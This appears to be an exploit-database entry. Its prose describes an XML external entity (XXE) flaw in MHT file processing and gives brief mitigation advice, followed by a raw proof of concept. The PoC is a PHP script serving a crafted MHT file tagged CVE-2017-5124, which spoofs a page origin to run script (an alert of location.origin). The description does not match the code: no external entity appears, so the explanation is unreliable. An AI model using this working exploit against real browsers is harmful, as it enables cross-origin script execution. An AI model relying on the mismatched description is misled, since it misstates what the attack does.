XML External Entity Injection (XXE) in MHT File Processing

XML External Entity Injection (XXE) vulnerability in MHT file processing allows an attacker to read arbitrary files on the server, or perform remote requests, or even perform server-side request forgery (SSRF) attacks. This vulnerability is caused by the application's failure to properly sanitize user-supplied input before using it to parse an XML document. An attacker can exploit this vulnerability by crafting a malicious MHT file and sending it to the application.

Mitigation:

The application should validate user-supplied input and sanitize it before using it to parse an XML document. The application should also disable external entity resolution and entity expansion.

Source

Exploit-DB raw data:

<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>




MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----